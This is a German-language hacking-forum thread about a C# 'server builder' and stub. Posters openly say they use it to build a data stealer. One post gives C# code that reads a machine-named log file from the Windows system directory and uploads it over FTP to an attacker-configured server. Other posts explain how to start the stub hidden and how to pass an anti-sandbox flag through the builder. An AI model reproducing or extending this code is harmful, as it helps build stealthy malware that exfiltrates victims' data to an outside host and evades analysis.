Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 12
  1. #1
    Richard Stallman Avatar von Sawyer
    Registriert seit
    26.07.2008
    Beiträge
    2.037

    Standard [C# Source] - Server Builder

    Screenshot:


    Beschreibung:
    Kleines Server Builder sample wie gewohnt alles Schritt für Schritt kommentiert

    Download:
    [ame]http://rapidshare.com/files/352106443/C__-_Server_Builder.rar[/ame]

    MfG
    Geändert von Sawyer (17.02.2010 um 23:28 Uhr)

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Crypt (17.02.2010), str1ch3r (27.07.2010)

  3. #2
    Fortgeschrittener
    Registriert seit
    17.04.2009
    Beiträge
    37

    Standard

    Echt super teil aber ich hab ein Problem!

    Ich ersetze den MessageBox.Show request einfach mit dem folgenden code:
    Code:
                    System.Net.FtpWebRequest request = (System.Net.FtpWebRequest)System.Net.WebRequest.Create("ftp://" + settingsSplit[0] + "//" + System.Environment.MachineName + ".log");
                    request.Method = System.Net.WebRequestMethods.Ftp.UploadFile;
                    request.Credentials = new System.Net.NetworkCredential(settingsSplit[1], settingsSplit[2]);
    
                    FileStream stream = File.OpenRead(Environment.SystemDirectory + "\\" + System.Environment.MachineName + ".log");
                    byte[] buffer = new byte[stream.Length];
                    stream.Read(buffer, 0, buffer.Length);
                    stream.Close();
    
                    Stream requestStream = request.GetRequestStream();
                    requestStream.Write(buffer, 0, buffer.Length);
                    requestStream.Close();
    Nur nach dem ich das Teil durch den Builder geschickt hab scheisst die server.exe ab.

    Ich bin mir sicher dass ich die richtigen Daten zum FTP login in den Builder eingegeben hab.
    Habs bestimmt jetzt schon 10 mal probiert und es klappt NIE!
    Die Datei ist auch vorhanden die er auslesen soll.

    Alles klappt wenn ich die Daten per Hand eingebe.
    Aber sobald ich sie versuch durch den Builder zu holen klappt nichts mehr!

    Woran liegts???
    Geändert von Andybritten (27.04.2009 um 21:57 Uhr)

  4. #3
    Richard Stallman Avatar von Sawyer
    Registriert seit
    26.07.2008
    Beiträge
    2.037

    Standard

    Warum es nicht geht kann ich dir leider nicht sagen , ich kann der aber sagen wie es zu Lösen ist

    mach aus der Stub einfach eine Windows Forms-Anwendung , dann funktioniert es^^
    mit this.Visible = false; kannst du die Form versteckt starten Lassen

    MfG

  5. #4
    Fortgeschrittener
    Registriert seit
    17.04.2009
    Beiträge
    37

    Standard

    Ich glaub ich habe den fehler gefunden.
    Er scheint im Builder zu stecken:
    Mach aus:
    Code:
                Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort
    Einfach:
    Code:
                Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort + "_";
    Hab mir gedacht dass der vielleicht das passwort falsch abschneidet oder so und hab ans ende noch ein Trennzeichen gehangen.
    Und jetzt klappts

    Vielleicht hab ich euch ja ein wenig helfen können!

    Auf jedenfall bekommst du dicke credits in meinem stealer papst

    Wäre jetzt noch sehr nett wenn du dich mal um meinen request den ich dir per PN geschickt hatte kümmern könntest (natürlich nur wenn du lust und zeit hast).

  6. #5
    Stanley Jobson Avatar von Grim-Reaper
    Registriert seit
    30.08.2008
    Beiträge
    660

    Standard

    Werds mir morgen auch mal laden. Sieht viel versprechend aus xD

  7. #6
    Fortgeschrittener
    Registriert seit
    17.04.2009
    Beiträge
    37

    Standard

    Kann man auch irgendwie Boolean werte auf diese art und weise übertragen?
    Oder wie übeträgst du die bool werte?

    Zum Beispiel:

    Wenn checkbox1 = checked dann bool antisanboxy = true

  8. #7
    Richard Stallman Avatar von Sawyer
    Registriert seit
    26.07.2008
    Beiträge
    2.037

    Standard

    Wenn checkbox1 = checked dann bool antisanboxy = true
    Ein Boolean sollte ebenfalls über die selbe methode übergeben werden können

    kann sein das es als String Konvertiert werden muss um es in die Einstellung,s Variable schreiben zu können
    aber dann ist es kein Problem , dann kannst du es bei der stub auch normal auslesen^^

    Beispiel:
    Code:
    Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort + "_" + Convert.ToString(checkbox1.checked) + "_";
    Nicht getestet , aber müsste so richtig sein , wie schon gesagt , wenn du es bei der Stub splittest , kannst du es ja an eine Bool variable übergeben , und dann die werte abfragen

    MfG
    Geändert von Sawyer (29.04.2009 um 11:16 Uhr)

  9. #8
    Fortgeschrittener
    Registriert seit
    17.04.2009
    Beiträge
    37

    Standard

    Nah ich habs "enfacher" gemacht.
    Alle bools in strings umgeschrieben und dann deren werte gecheckt.
    Fertig

    EDIT:
    OK hab jetzt meinen eigenen Builder gebaut.
    Also deiner ist nice für precompilte dateien aber da ich ja in .net programmiere kann man auch die vorz+ge von .net ausnutzen.
    Undzwar dass .net eine JIT sprache ist
    Ich compile den server jetzt direkt im builder drin
    Geändert von Andybritten (30.04.2009 um 20:06 Uhr)

  10. #9
    Richard Stallman Avatar von Sawyer
    Registriert seit
    26.07.2008
    Beiträge
    2.037

    Standard

    Ich compile den server jetzt direkt im builder drin
    Wenn du damit sagen willst , das du es zur Laufzeit Compilieren lässt , dann ist das natürlich möglich , jedoch hast du dann keine Stub , und der User kann diese nicht "bearbeiten"

    aber wenn es funktioniert bitte , ist deine Sache Ich hab es bewusst so umgesetzt^^

    MfG
    Geändert von Sawyer (05.05.2009 um 05:55 Uhr)

  11. #10
    Fortgeschrittener
    Registriert seit
    17.04.2009
    Beiträge
    37

    Standard

    Naja sagen wirs so...
    Ne stub kann mans nicht mehr nennen aber der User kann die "pseudo stub" trotzdem "bearbeiten"
    Aber ist ja egal.

    Super C# Beispiel trotzdem!!!

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •